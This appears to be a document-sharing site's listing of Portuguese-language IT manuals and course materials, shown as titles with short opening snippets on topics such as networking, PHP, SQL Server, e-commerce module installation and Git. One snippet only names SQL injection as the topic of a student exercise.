SUMÁRIO 1. AULA 6 ENDEREÇAMENTO IP:... 2
SUMÁRIO 1. AULA 6 ENDEREÇAMENTO IP:... 2 1.1 Introdução... 2 1.2 Estrutura do IP... 3 1.3 Tipos de IP... 3 1.4 Classes de IP... 4 1.5 Máscara de Sub-Rede... 6 1.6 Atribuindo um IP ao computador... 7 2
Guia Site Empresarial
Guia Site Empresarial Índice 1 - Fazer Fatura... 2 1.1 - Fazer uma nova fatura por valores de crédito... 2 1.2 - Fazer fatura alterando limites dos cartões... 6 1.3 - Fazer fatura repetindo última solicitação
Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza
Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões Prof. MSc. Hugo Souza Se você precisar manter informações sobre seus usuários enquanto eles navegam pelo seu site, ou até quando eles saem
Manual de Instalação e Configuração do SQL Express
Manual de Instalação e Configuração do SQL Express Data alteração: 19/07/11 Pré Requisitos: Acesse o seguinte endereço e faça o download gratuito do SQL SRVER EXPRESS, conforme a sua plataforma x32 ou
Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )
![Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )](/thumbs/20/555533.jpg "Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )")
Disciplina: Tópicos Especiais em TI PHP Este material foi produzido com base nos livros e documentos citados abaixo, que possuem direitos autorais sobre o conteúdo. Favor adquiri-los para dar continuidade
SMS Corporativo Manual do Usuário
NEXTEL SMS Corporativo Manual do Usuário Conteúdo 2 CAPÍTU LO 1 Introdução 3 CAPÍTU LO 2 Funcionalidades 1 Copyright Curupira S/A TakeNET INTRODUÇÃO A FERRAMENTA O SMS Corporativo é um serviço criado para
atube Catcher versão 3.8 Manual de instalação do software atube Catcher
atube Catcher versão 3.8 Manual de instalação do software atube Catcher Desenvolvido por: Clarice Mello, Denis Marques Campos Dezembro de 2014 Sumario 1. Objetivo deste manual...3 2. Requisitos para instalação...3
Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):
Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL): Nos últimos anos uma das vulnerabilidades mais exploradas por usuários mal-intencionados é a injeção de SQL, onde o atacante realiza uma
UNIVERSIDADE FEDERAL DO AMAPÁ PRÓ REITORIA DE ADMINISTRAÇÃO E PLANEJAMENTO DEPARTAMENTO DE INFORMÁTICA. Manual do Moodle- Sala virtual
UNIVERSIDADE FEDERAL DO AMAPÁ PRÓ REITORIA DE ADMINISTRAÇÃO E PLANEJAMENTO DEPARTAMENTO DE INFORMÁTICA Manual do Moodle- Sala virtual UNIFAP MACAPÁ-AP 2012 S U M Á R I O 1 Tela de Login...3 2 Tela Meus
Módulo e-rede Prestashop v1.0. Manual de. Instalação do Módulo. estamos todos ligados
Módulo e-rede Prestashop v1.0 Manual de Instalação do Módulo estamos todos ligados ÍNDICE 01 02 03 04 Introdução 3 Versão 3 Requerimentos 3 Manual de instalação 4 05 06 4.1 Instruções iniciais 4 4.2 Instalação
GUIA MUDANÇA E FORMATAÇÃO DE SERVIDOR - MILLENNIUM
GUIA MUDANÇA E FORMATAÇÃO DE SERVIDOR - MILLENNIUM ÍNDICE ITEM Página 1. Objetivo... 3 2. Requisitos... 3 3. Diretório do Millennium... 3 4. Procedimento para Transferência de Servidor... 3 4.1 Compartilhamento
Segurança de Acesso a Banco de Dados no MS SQL Server
Segurança de Acesso a Banco de Dados no MS SQL Server Para efetuar com sucesso os exemplos que serão mostrados a seguir é necessário que exista no SQL Server uma pessoa que se conecte como Administrador,
Banco de Dados Oracle 10g
2010 Banco de Dados II Líder: George Petz... 19 Bruno Aparecido Pereira... 07 Gustavo da Silva Oliveira... 24 Luis Felipe Martins Alarcon... 32 Rubens Gondek... 41 Professor: Gilberto Braga de Oliveira
8. Outros tipos de Transação (Modo de Transação de Autoconfirmação e Modo Implícito)
8. Outros tipos de Transação (Modo de Transação de Autoconfirmação e Modo Implícito) Nos itens anteriores vimos transações do tipo explícitas, ou seja, aquelas que iniciam com BEGIN TRANSACTION. As outras
Módulo e-rede Magento v1.0. Manual de. Instalação do Módulo. estamos todos ligados
Módulo e-rede Magento v1.0 Manual de Instalação do Módulo estamos todos ligados ÍNDICE 01 02 03 04 Introdução 3 Versão 3 Requerimentos 3 Manual de instalação 4 05 06 4.1 Instruções iniciais 4 4.2 Instalação
STK (Start Kit DARUMA) Extensão PHP para DarumaFrameWork
STK (Start Kit DARUMA) Extensão PHP para DarumaFrameWork A DarumaFramework está com suas funções nativas ao programador PHP devido a extensão de aplicativo php_darumaframework. Para usar esta extensão,
Manual Administrador - Mídia System
Manual Administrador - Mídia System Logo após cadastrarmos sua Empresa em nosso sistema, será enviado um e-mail confirmando as informações de acesso do Administrador do sistema. Obs: Caso não tenha recebido
CERTIFICADO DIGITAL CONECTIVIDADE DIGITAL ICP GUIA PLANCON DE INSTRUÇÕES PARA INSTALAR SEU TOKEN, PENDRIVE OU LEITOR DE CARTÕES
CERTIFICADO DIGITAL CONECTIVIDADE DIGITAL ICP GUIA PLANCON DE INSTRUÇÕES PARA INSTALAR SEU TOKEN, PENDRIVE OU LEITOR DE CARTÕES Se você já adquiriu seu Certificado Digital e ainda não o instalou, este
Manual de Instalação e Configuração para Revendedores e Assinantes Virtual Server.
Manual de Instalação e Configuração para Revendedores e Assinantes Virtual Server. Parte I Cadastrando Sites no painel de controle Parte II Criando E-mail Parte III Configurando o Outlook do Cliente Última
INTRODUÇÃO AO DESENVOLVIMENTO WEB
INTRODUÇÃO AO DESENVOLVIMENTO WEB PROFª. M.Sc. JULIANA H Q BENACCHIO Formulários Os formulários em HTML são usados para selecionar diferentes tipos de entradas do usuário. Um formulário é uma área que
Módulo e-rede OpenCart v1.0. Manual de. Instalação do Módulo. estamos todos ligados
Módulo e-rede OpenCart v1.0 Manual de Instalação do Módulo estamos todos ligados ÍNDICE 01 02 03 04 Introdução 3 Versão 3 Requerimentos 3 Manual de instalação 4 05 06 4.1 vqmod 4 4.2 Instalação e ativação
Despachante Express - Software para o despachante documentalista veicular DESPACHANTE EXPRESS MANUAL DO USUÁRIO VERSÃO 1.1
DESPACHANTE EXPRESS MANUAL DO USUÁRIO VERSÃO 1.1 1 Sumário 1 - Instalação Normal do Despachante Express... 3 2 - Instalação do Despachante Express em Rede... 5 3 - Registrando o Despachante Express...
TUTORIAL PRÁTICO SOBRE Git. Versão 1.1
TUTORIAL PRÁTICO SOBRE Git por Djalma Oliveira Versão 1.1 "Git é um sistema de controle de revisão distribuida, rápido e escalável" (tradução rápida do manual). Basicamente é
Transações Seguras em Bancos de Dados (MySQL)
Transações Seguras em Bancos de Dados (MySQL) Índice Entendendo os storage engines do MySQL 5 1 As ferramentas 1 Mais algumas coisas que você deve saber 1 Com a mão na massa 2 Mais ferramentas Usando o
mkdir /srv/www/default/html/calculadora/imagens mkdir /srv/www/default/html/calculadora/blocos
Programando em PHP www.guilhermepontes.eti.br lgapontes@gmail.com Criando uma Calculadora Primeiramente deve se criar uma estrutura para armazenar os arquivos necessários para o funcionamento da calculadora.
Manual UNICURITIBA VIRTUAL para Professores
Manual UNICURITIBA VIRTUAL para Professores 1 2 2015 Sumário 1 Texto introdutório... 3 2 Como Acessar o UNICURITIBA VIRTUAL... 3 3 Tela inicial após login... 3 3.1) Foto do perfil... 4 3.2) Campo de busca...
Passo 1: Abra seu navegador e digite http://www.no-ip.com. Passo 2: Na tela que surgir, clique em Get Started.
1 - Como obter seu DNS Dinâmico no No-IP O No-IP, é um sistema de DNS (Domain Name Server), que converte o seu endereço IP em um nome. O que o No-IP faz, é converter o nome do tipo minhacameraip.no-ip.org
Docas do Pará - Guia de Instalação
Docas do Pará - Guia de Instalação Procedimento para instalar em um novo porto Primeiro faça a instalação no computador servidor do porto (v. abaixo), depois instale em cada máquina de cadastro/acompanhamento
Parte 2: Micro com Windows XP Pro e Servidor IIS
Parte 2: Micro com Windows XP Pro e Servidor IIS No nosso tutorial inicial: Tutorial: Monte um servidor Internet no seu micro de casa, vimos como colocar um nome internet no seu micro, utilizando o serviço
GUIA PRÁTICO DE INSTALAÇÃO
GUIA PRÁTICO DE INSTALAÇÃO 1 1. PROCEDIMENTOS ANTES DA INSTALAÇÃO SIGEP WEB - Gerenciador de Postagens dos Correios 1.1. Solicitar Senha para Fechamento de PLP Solicitar ao seu consultor comercial a senha
O primeiro passo é habilitar acesso externo através de web service a configuração é bem simples e não exige maiores explicações.
Integração de Controle de versão com Redmine. A integração do controle de versão pode permitir uma interatividade bem interessante entre os tickets e projetos do redmine com o controle de versão segue
QUALIDATA Soluções em Informática. Módulo CIEE com convênio empresas
FM-0 1/21 ÍNDICE 1. MÓDULO DESKTOP(SISTEMA INSTALADO NO CIEE)... 2 Cadastro de Ofertas de Empregos:... 2 Cadastro de Eventos:... 3 Cadastro de Instituições do Curriculum:... 5 Cadastro de Cursos do Curriculum:...
Treinamento sobre SQL
Treinamento sobre SQL Como Usar o SQL Os dois programas que você mais utilizara no SQL Server são: Enterprise Manager e Query Analyzer. No Enterprise Manager, você pode visualizar e fazer alterações na
CONFIGURAÇÃO MINIMA EXIGIDA:
Este tutorial parte do princípio que seu usuário já possua conhecimentos básicos sobre hardware, sistema operacional Windows XP ou superior, firewall, protocolo de rede TCP/IP e instalação de software.
Gravando uma Áudio Conferência
Gravando uma Áudio Conferência Para iniciar a gravação da áudio conferência, digite *2. Você ouvirá a seguinte mensagem: Para iniciar a gravação da conferência pressione 1, para cancelar pressione * Ao
COMO COMEÇAR 2016 se organizando?
COMO COMEÇAR 2016 se organizando? Como começar 2016 se organizando? Conheça estratégias simples para iniciar o novo ano com o pé direito Você sabia que, de acordo com o Sebrae, os principais motivos que
Manual do Google agenda. criação e compartilhamento de agendas
Manual do Google agenda criação e compartilhamento de agendas 1 O que é o Google Agenda? Google Agenda é um serviço de agenda on line gratuito do Google, onde você pode anotar compromissos e tarefas, organizando
Tolerância a Falhas em sistemas distribuídos (programação)
Tolerância a Falhas em sistemas distribuídos (programação) Arthur Zavattieri Cano Lopes Curso de Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, Maio de 2009. Resumo
Manipulação de Dados em PHP (Visualizar, Inserir, Atualizar e Excluir) Parte 2
Desenvolvimento Web III Manipulação de Dados em PHP (Visualizar, Inserir, Atualizar e Excluir) Parte 2 Prof. Mauro Lopes 1-31 21 Objetivos Nesta aula iremos trabalhar a manipulação de banco de dados através
Procedimentos para Reinstalação do Sisloc
Procedimentos para Reinstalação do Sisloc Sumário: 1. Informações Gerais... 3 2. Criação de backups importantes... 3 3. Reinstalação do Sisloc... 4 Passo a passo... 4 4. Instalação da base de dados Sisloc...
AP_ Conta Aplicativo para digitação e envio de contas médicas no padrão TISS
AP_ Conta Aplicativo para digitação e envio de contas médicas no padrão TISS Manual de Instalação Tempro Software StavTISS Sumário 1. INTRODUÇÃO... 2 2. REQUISITOS DO SISTEMA... 3 3. INSTALAÇÃO... 4 4.
Instalando o IIS 7 no Windows Server 2008
Goiânia, 16/09/2013 Aluno: Rafael Vitor Prof. Kelly Instalando o IIS 7 no Windows Server 2008 Objetivo Esse tutorial tem como objetivo demonstrar como instalar e configurar o IIS 7.0 no Windows Server
Instalando o IIS 7 no Windows Server 2008
Goiânia, 16/09/2013 Aluno: Rafael Vitor Prof. Kelly Instalando o IIS 7 no Windows Server 2008 Objetivo Esse tutorial tem como objetivo demonstrar como instalar e configurar o IIS 7.0 no Windows Server
ArpPrintServer. Sistema de Gerenciamento de Impressão By Netsource www.netsource.com.br Rev: 02
ArpPrintServer Sistema de Gerenciamento de Impressão By Netsource www.netsource.com.br Rev: 02 1 Sumário INTRODUÇÃO... 3 CARACTERÍSTICAS PRINCIPAIS DO SISTEMA... 3 REQUISITOS DE SISTEMA... 4 INSTALAÇÃO
Kerio Exchange Migration Tool
Kerio Exchange Migration Tool Versão: 7.3 2012 Kerio Technologies, Inc. Todos os direitos reservados. 1 Introdução Documento fornece orientações para a migração de contas de usuário e as pastas públicas
Prof. Carlos Majer Aplicações Corporativas UNICID
Este material pertence a Carlos A. Majer, Professor da Unidade Curricular: Aplicações Corporativas da Universidade Cidade de São Paulo UNICID Licença de Uso Este trabalho está licenciado sob uma Licença
Sistema Operacional Unidade 13 Servidor Samba. QI ESCOLAS E FACULDADES Curso Técnico em Informática
Sistema Operacional Unidade 13 Servidor Samba Curso Técnico em Informática SUMÁRIO INTRODUÇÃO... 3 INSTALANDO O SAMBA... 3 Verificando a versão... 3 Criando uma cópia do servidor samba original... 3 COMPARTILHAMENTOS
Conexão rápida entre dois computadores em uma plataforma Linux
Conexão rápida entre dois computadores em uma plataforma Linux Algumas vezes, novos usuários de Linux acabam achando difícil transferir aquivos entre duas máquinas Linux em rede (no meu caso via cabo).
GUIA MUDANÇA E FORMATAÇÃO DE SERVIDOR - SLIM
GUIA MUDANÇA E FORMATAÇÃO DE SERVIDOR - SLIM ÍNDICE ITEM Página 1. Objetivo... 3 2. Requisitos... 3 3. Diretório do Slim... 3 4. Procedimento para Transferência de Servidor... 3 4.1 Compartilhamento da
Obs: É necessário utilizar um computador com sistema operacional Windows 7.
Instalando os Pré-Requisitos Os arquivos dos 'Pré-Requisitos' estão localizados na pasta Pré-Requisitos do CD HyTracks que você recebeu. Os arquivos também podem ser encontrados no servidor. (www.hytracks.com.br/pre-requisitos.zip).
Barra de ferramentas padrão. Barra de formatação. Barra de desenho Painel de Tarefas
Microsoft Power Point 2003 No Microsoft PowerPoint 2003, você cria sua apresentação usando apenas um arquivo, ele contém tudo o que você precisa uma estrutura para sua apresentação, os slides, o material
Índice. Tenho uma conta pessoal e uma conta da instituição em que dou aula, porém não consigo acessar a conta da escola. O que fazer?
Índice Acesso ao Super Professor Web Como recuperar a senha de acesso? Tenho uma conta pessoal e uma conta da instituição em que dou aula, porém não consigo acessar a conta da escola. O que fazer? Selecionando
CONTRA CONTROLE DE ACESSOS E MODULARIZADOR DE SISTEMAS
MINISTÉRIO DO DESENVOLVIMENTO AGRÁRIO SUBSECRETARIA DE PLANEJAMENTO, ORÇAMENTO E ADMINISTRAÇÃO COORDENAÇÃO-GERAL DE MODERNIZAÇÃO E INFORMÁTICA CONTRA CONTROLE DE ACESSOS E MODULARIZADOR DE SISTEMAS MANUAL
MANUAL DE UTILIZAÇÃO
MANUAL DE UTILIZAÇÃO Módulo de operação Ativo Bem vindo à Vorage CRM! Nas próximas paginas apresentaremos o funcionamento da plataforma e ensinaremos como iniciar uma operação básica através do nosso sistema,
Manual Replicação Manual VPN
Manual Replicação Introdução O que é cloudcomputing ou computação na nuvem? Refere-se à utilização de um servidor com alta capacidade de armazenamento de dados e que com configurações que aguentam um alto
Manipulando Strings no VBA (Replace, Mid e InStr)
Manipulando Strings no VBA (Replace, Mid e InStr) por Eduardo Vieira Machado (Good Guy) Hoje gostaria de tratar de um assunto bastante atraente no Access e que é muito trabalhado nas empresas - a manipulação
CONFIGURAÇÃO DE REDE SISTEMA IDEAGRI - FAQ CONCEITOS GERAIS
CONFIGURAÇÃO DE REDE SISTEMA IDEAGRI - FAQ CONCEITOS GERAIS Servidor: O servidor é todo computador no qual um banco de dados ou um programa (aplicação) está instalado e será COMPARTILHADO para outros computadores,
www.neteye.com.br NetEye Guia de Instalação
www.neteye.com.br NetEye Guia de Instalação Índice 1. Introdução... 3 2. Funcionamento básico dos componentes do NetEye...... 3 3. Requisitos mínimos para a instalação dos componentes do NetEye... 4 4.
MANUAL COTAÇAO WEB MANUAL MANUAL AVANÇO INFORMÁTICA AVANÇO INFORMÁTICA. [Digite seu endereço] [Digite seu telefone] [Digite seu endereço de email]
![MANUAL COTAÇAO WEB MANUAL MANUAL AVANÇO INFORMÁTICA AVANÇO INFORMÁTICA. [Digite seu endereço] [Digite seu telefone] [Digite seu endereço de email]](/thumbs/24/2946061.jpg "MANUAL COTAÇAO WEB MANUAL MANUAL AVANÇO INFORMÁTICA AVANÇO INFORMÁTICA. [Digite seu endereço] [Digite seu telefone] [Digite seu endereço de email]")
MANUAL COTAÇAO WEB [Digite seu endereço] [Digite seu telefone] [Digite seu endereço de email] MANUAL MANUAL AVANÇO INFORMÁTICA AVANÇO INFORMÁTICA Material Desenvolvido para a Célula Materiais Autor: Equipe
1 - Entrando no Sistema
1 Manual do Administrador - Revenda 1 - Entrando no Sistema Acesse o site: http://209.133.196.250/shortcode/login.aspx Sugerimos que você crie em seu site um link para que seus clientes possam acessar.